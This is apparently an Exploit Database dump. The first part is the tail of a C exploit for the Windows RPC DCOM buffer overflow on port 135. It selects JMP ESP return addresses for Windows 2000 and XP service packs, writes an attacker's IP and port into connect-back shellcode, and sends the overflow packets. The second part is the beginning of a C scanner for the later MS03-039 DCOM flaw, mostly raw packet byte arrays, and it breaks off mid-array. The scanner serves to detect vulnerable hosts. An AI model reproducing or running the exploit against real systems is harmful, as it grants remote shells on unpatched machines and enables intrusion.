,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
void main(int argc,char ** argv)
{
WSADATA WSAData;
SOCKET sock;
int len,len1;
SOCKADDR_IN addr_in;
short port=135;
unsigned char buf1[0x1000];
unsigned char buf2[0x1000];
unsigned short port1;
DWORD cb;
printf("RPC DCOM overflow Vulnerability discoveried by LSD\n");
printf("Code by FlashSky,Flashsky@xfocus.org,benjurry,benjurry@xfocus.org\n");
printf("Welcome to our English Site: http://www.xfocus.org\n");
printf("Welcome to our Chinese Site: http://www.xfocus.net\n");
if(argc<5)
{
printf("useage:%s targetip localIP LocalPort SPVersion\n",argv[0]);
printf("SPVersion:\n0 w2k Chinese version +sp3\n 1 w2k Chinese version +SP4\n 2 winxp English
version +sp1\n");
exit(1);
}
if(atoi(argv[4])==0)
memcpy(sc+36,jmpesp_cn_sp3,sizeof(jmpesp_cn_sp3));
else if (atoi(argv[4])==1)
memcpy(sc+36,jmpesp_cn_sp4,sizeof(jmpesp_cn_sp4));
else if (atoi(argv[4])==2)
memcpy(sc+36,jmpesp_en_xp_sp1,sizeof(jmpesp_en_xp_sp1));
if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{
printf("WSAStartup error.Error:%d\n",WSAGetLastError());
return;
}
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(port);
addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
{
printf("Socket failed.Error:%d\n",WSAGetLastError());
return;
}
if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
printf("Connect failed.Error:%d",WSAGetLastError());
return;
}
port1 = htons(atoi(argv[3]));
port1 ^= 0x9393;
cb=inet_addr(argv[2]);
cb ^= 0x93939393;
*(unsigned short *)&sc[330+0x30] = port1;
*(unsigned int *)&sc[335+0x30] = cb;
len=sizeof(sc);
memcpy(buf2,request1,sizeof(request1));
len1=sizeof(request1);
*(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2;
*(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2;
memcpy(buf2+len1,request2,sizeof(request2));
len1=len1+sizeof(request2);
memcpy(buf2+len1,sc,sizeof(sc));
len1=len1+sizeof(sc);
memcpy(buf2+len1,request3,sizeof(request3));
len1=len1+sizeof(request3);
memcpy(buf2+len1,request4,sizeof(request4));
len1=len1+sizeof(request4);
*(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc;
if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR)
{
printf("Send failed.Error:%d\n",WSAGetLastError());
return;
}
len=recv(sock,buf1,1000,NULL);
if (send(sock,buf2,len1,0)==SOCKET_ERROR)
{
printf("Send failed.Error:%d\n",WSAGetLastError());
return;
}
len=recv(sock,buf1,1024,NULL);
}
// milw0rm.com [2003-07-25]
Exploit Database EDB-ID : 97
Date de publication : 2003-09-11 22h00 +00:00
Auteur : Doke Scott
EDB Vérifié : Yes
/*
dcom2_scanner.c
scan for second dcom vulnerability (MS03-039)
by Doke Scott, doke at udel.edu, 10 Sep 2003
based on work by:
* buildtheb0x presents : dcom/rpc scanner
* ---------------------------------------
* by: kid and farp
and on packet sniffs of MS's dcom2 scanner
*/
#define d_dcom_scan_timeout 5 // max seconds for individual dcom scan
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>
#define null NULL
// for sun spro cc wierdness? seg faults without this
#define my_inet_ntoa(ip) inet_ntoa( *( (struct in_addr *) &ip ) )
static char *program_name;
static int verbose = 0;
int dcom_scan_timeout = d_dcom_scan_timeout;
volatile int timed_out = 0;
volatile int dcomsockfd = 0;
extern char *optarg;
extern int optind, opterr, optopt;
void
print_hex( unsigned char *data, int len ) {
int i, j;
char alphastr[ 17 ];
for ( i = 0, j = 0; i < len; i++, j++ ) {
if ( j == 0 ) {
alphastr[ j ] = isprint( data[i] ) ? data[i] : '.';
printf( "%04x %02x", i, data[ i ] & 0xff );
}
else if ( j == 15 ) {
alphastr[ j ] = isprint( data[i] ) ? data[i] : '.';
alphastr[ j + 1 ] = 0;
printf( " %02x %s\n", data[ i ] & 0xff, alphastr );
j = -1;
}
else {
alphastr[ j ] = isprint( data[i] ) ? data[i] : '.';
printf( " %02x", data[ i ] & 0xff );
}
}
if ( j ) {
alphastr[ j + 1 ] = 0;
for ( ; j < 16; j++ )
printf( " " );
printf( " %s\n", alphastr );
}
}
/*
* based on:
*
* buildtheb0x presents : dcom/rpc scanner
* ---------------------------------------
*
*
* by: kid and farp
*
* greets: kajun, phr_, dvdman, Sam, flatline, #nanog, synD, and to all danny'
s waitress's
*
*/
#define DEST_PORT 135
///////////////////////////
// first request packet, bind request
// from dcom1 exploit code
unsigned char bindstr[]={
0x05, 0x00, 0x0B, 0x03, 0x10, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00,
0x7F, 0x00, 0x00, 0x00, 0xD0, 0x16, 0xD0, 0x16, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0xa0, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46,
0x00, 0x00, 0x00, 0x00, 0x04, 0x5D, 0x88, 0x8A, 0xEB, 0x1C, 0xC9, 0x11,
0x9F, 0xE8, 0x08, 0x00, 0x2B, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00
};
// from dcom1 dcom_scanz
unsigned char fear1[] = {
0x05, 0x00, 0x0b, 0x03, 0x10, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00,
0x09, 0x00, 0x00, 0x00, 0xd0, 0x16, 0xd0, 0x16, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x01, 0x00, 0xb8, 0x4a, 0x9f, 0x4d,
0x1c, 0x7d, 0xcf, 0x11, 0x86, 0x1e, 0x00, 0x20, 0xaf, 0x6e, 0x7c, 0x57,
0x00, 0x00, 0x00, 0x00, 0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11,
0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00
};
// sniffed from dcom2 scanner, when scanning patched machine
unsigned char request1[] = {
0x05, 0x00, 0x0b, 0x03, 0x10, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0xd0, 0x16, 0xd0, 0x16, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0xa0, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46,
0x00, 0x00, 0x00, 0x00, 0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11,
0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00
};
unsigned char expected1[] = {
0x05, 0x00, 0x0c, 0x03, 0x10, 0x00, 0x00, 0x00, 0x3c, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0xd0, 0x16, 0xd0, 0x16, 0x28, 0x57, 0x00, 0x00,
0x04, 0x00, 0x31, 0x33, 0x35, 0x00, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11,
0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00,
};
///////////////////////////
// second request packet
// from dcom1 exploit code
unsigned char exploit_request1[]={
0x05, 0x00, 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0x7e, 0x00, 0x00, 0x00,
0x09, 0x00, 0x00, 0x00, 0x66, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
0x05, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x6b, 0xac, 0xd8, 0x08, 0x2f, 0x2e, 0x03, 0x48, 0xaa, 0xdc, 0xc1, 0x6a,
0x62, 0xfb, 0xeb, 0x98, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x91, 0x7b, 0x5a,
0x00, 0xff, 0xd0, 0x11, 0xa9, 0xb2, 0x00, 0xc0, 0x4f, 0xb6, 0xe6, 0xfc,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
0xff, 0xff, 0xff, 0xff, 0x01, 0x00, 0x00, 0x00, 0x38, 0xff, 0x0a, 0x00,
0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x01, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x07, 0x00
};
// from dcom1 dcom_scanz
unsigned char fear2[] = {
0x05, 0x00, 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0x7e, 0x00, 0x00, 0x00,
0x09, 0x00, 0x00, 0x00, 0x66, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
0x05, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x6b, 0xac, 0xd8, 0x08, 0x2f, 0x2e, 0x03, 0x48, 0xaa, 0xdc, 0xc1, 0x6a,
0x62, 0xfb, 0xeb, 0x98, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x91, 0x7b, 0x5a,
0x00, 0xff, 0xd0, 0x11, 0xa9, 0xb2, 0x00, 0xc0, 0x4f, 0xb6, 0xe6, 0xfc,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
0xff, 0xff, 0xff, 0xff, 0x01, 0x00, 0x00, 0x00, 0x38, 0xff, 0x0a, 0x00,
0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x01, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x07, 0x00
};
// sniffed from dcom2 scanner, when scanning unpatched machine
unsigned char request2[] = {
0x05, 0x00, 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0xb0, 0x03, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x98, 0x03, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00,
0x05, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xe0, 0xab, 0x14, 0x00, 0x68, 0x03, 0x00, 0x00, 0x68, 0x03, 0x00, 0x00,
0x4d, 0x45, 0x4f, 0x57, 0x04, 0x00, 0x00, 0x00, 0xa2, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46,
0x38, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00, 0x38, 0x03, 0x00, 0x00,
0x30, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x10, 0x08, 0x00,
0xcc, 0xcc, 0xcc, 0xcc, 0xc8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x30, 0x03, 0x00, 0x00, 0xd8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x02, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x18, 0x01, 0x8d, 0x00, 0xb8, 0x01, 0x8d, 0x00, 0x00, 0x00, 0x00, 0x00,
0x07, 0x00, 0x00, 0x00, 0xb9, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xab, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46,
0xa5, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x46, 0xa6, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xa4, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46,
0xad, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x46, 0xaa, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x07, 0x00, 0x00, 0x00,
0x60, 0x00, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0x00,
0x58, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x68, 0x00, 0x00, 0x00,
0x30, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x01, 0x10, 0x08, 0x00,
0xcc, 0xcc, 0xcc, 0xcc, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x10, 0x08, 0x00,
0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x5d, 0x88, 0x9a, 0xeb, 0x1c, 0xc9, 0x11, 0x9f, 0xe8, 0x08, 0x00,
0x2b, 0x10, 0x48, 0x60, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xb8, 0x47, 0x0a, 0x00, 0x58, 0x00, 0x00, 0x00, 0x05, 0x00, 0x06, 0x00,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xcc, 0xcc, 0xcc, 0xcc,
0x01, 0x10, 0x08, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0x80, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0xba, 0x09, 0x00,
0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00,
0x4d, 0x45, 0x4f, 0x57, 0x04, 0x00, 0x00, 0x00, 0xc0, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46,
0x3b, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00,
0x01, 0x00, 0x01, 0x00, 0x67, 0x3c, 0x70, 0x94, 0x13, 0x33, 0xfd, 0x46,
0x87, 0x24, 0x4d, 0x09, 0x39, 0x88, 0x93, 0x9d, 0x02, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x01, 0x10, 0x08, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb0, 0x7e, 0x09, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x89, 0x0a, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x73, 0x00, 0x61, 0x00,
0x6a, 0x00, 0x69, 0x00, 0x61, 0x00, 0x64, 0x00, 0x65, 0x00, 0x76, 0x00,
0x5f, 0x00, 0x78, 0x00, 0x38, 0x00, 0x36, 0x00, 0x00, 0x00, 0x08, 0x00,
0xcc, 0xcc, 0xcc, 0xcc, 0x01, 0x10, 0x08, 0x00, 0xcc, 0xcc, 0xcc, 0xcc,
0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x10, 0x08, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0x58, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xc0, 0x5e, 0x0a, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1b, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x1b, 0x00, 0x00, 0x00, 0x5c, 0x00, 0x5c, 0x00,
0x00, 0x00, 0x5c, 0x00, 0x6a, 0x00, 0x69, 0x00, 0x61, 0x00, 0x64, 0x00,
0x65, 0x00, 0x76, 0x00, 0x5f, 0x00, 0x78, 0x00, 0x00, 0x00, 0x36, 0x00,
0x5c, 0x00, 0x70, 0x00, 0x75, 0x00, 0x62, 0x00, 0x6c, 0x00, 0x69, 0x00,
0x63, 0x00, 0x5c, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x15, 0x00, 0x01, 0x10, 0x08, 0x00,
0xcc, 0xcc, 0xcc, 0xcc, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x90, 0x5b, 0x09, 0x00, 0x02, 0x00, 0x00, 0x00,
0x01, 0x00, 0x6c, 0x00, 0xc0, 0xdf, 0x08, 0x00, 0x01, 0x00, 0x00, 0x00,
0x07, 0x00, 0x55, 0x00, 0x00, 0x00, 0x00, 0x00
};
// sniffed from dcom2 scanner, when scanning unpatched machine
unsigned char expected2_vulnerable[] = {
0x05, 0x00, 0x02, 0x03, 0x10, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x04, 0x00, 0x08, 0x80,
};
// sniffed from dcom2 scanner, when scanning patched machine
// you also get this on a machine that doesn't have either dcom patch
unsigned char expected2_patched[] = {
0x05, 0x00, 0x02, 0x03, 0x10, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x54, 0x01, 0x04, 0x80,
};
// this came out of one machine, 128.175.214.151
// 0000 05 00 03 23 10 00 00 00 20 00 00 00 01 00 00 00 ...#.... .......
// 0010 00 00 00 00 00 00 00 00 03 00 01 1c 00 00 00 00 ................
// ethereal says it's a dce fault response
// nmap says the system is Me, Win 2000, or WinXP
// all the following packets were unanswered, or zero length.
unsigned char expected2_dce_fault[] = {
0x05, 0x00, 0x03
};
///////////////////////////
// third request packet
// from dcom1 dcom_scanz
unsigned char fear3[] = {
0x05, 0x00, 0x0b, 0x03, 0x10, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00,
0x65, 0x45, 0x79, 0x65, 0xd0, 0x16, 0xd0, 0x16, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0xb8, 0x4a, 0x9f, 0x4d,
0x1c, 0x7d, 0xcf, 0x11, 0x86, 0x1e, 0x00, 0x20, 0xaf, 0x6e, 0x7c, 0x57,
0x00, 0x00, 0x00, 0x00, 0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11,
0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00
};
// sniffed from dcom2 scanner, when scanning patched machine
unsigned char request3[] = {
0x05, 0x00, 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0xb0, 0x03, 0x00, 0x00,
0x02, 0x00, 0x00, 0x00, 0x98, 0x03, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00,
0x05, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x98, 0xe5, 0x14, 0x00, 0x68, 0x03, 0x00, 0x00, 0x68, 0x03, 0x00, 0x00,
0x4d, 0x45, 0x4f, 0x57, 0x04, 0x00, 0x00, 0x00, 0xa2, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46,
0x38, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00, 0x38, 0x03, 0x00, 0x00,
0x30, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x10, 0x08, 0x00,
0xcc, 0xcc, 0xcc, 0xcc, 0xc8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x30, 0x03, 0x00, 0x00, 0xd8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x02, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x18, 0x01, 0x8d, 0x00, 0xb8, 0x01, 0x8d, 0x00, 0x00, 0x00, 0x00, 0x00,
0x07, 0x00, 0x00, 0x00, 0xb9, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xab, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46,
0xa5, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x46, 0xf6, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xff, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46,
0xad, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x46, 0xaa, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x07, 0x00, 0x00, 0x00,
0x60, 0x00, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0x00,
0x58, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x68, 0x00, 0x00, 0x00,
0x30, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x01, 0x10, 0x08, 0x00,
0xcc, 0xcc, 0xcc, 0xcc, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x10, 0x08, 0x00,
0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x5d, 0x88, 0x9a, 0xeb, 0x1c, 0xc9, 0x11, 0x9f, 0xe8, 0x08, 0x00,
0x2b, 0x10, 0x48, 0x60, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xb8, 0x47, 0x0a, 0x00, 0x58, 0x00, 0x00, 0x00, 0x05, 0x00, 0x06, 0x00,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xcc, 0xcc, 0xcc, 0xcc,
0x01, 0x10, 0x08, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0x80, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0xba, 0x09, 0x00,
0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00,
0x4d, 0x45, 0x4f, 0x57, 0x04, 0x00, 0x00, 0x00, 0xc0, 0x01, 0x00, 0x00,
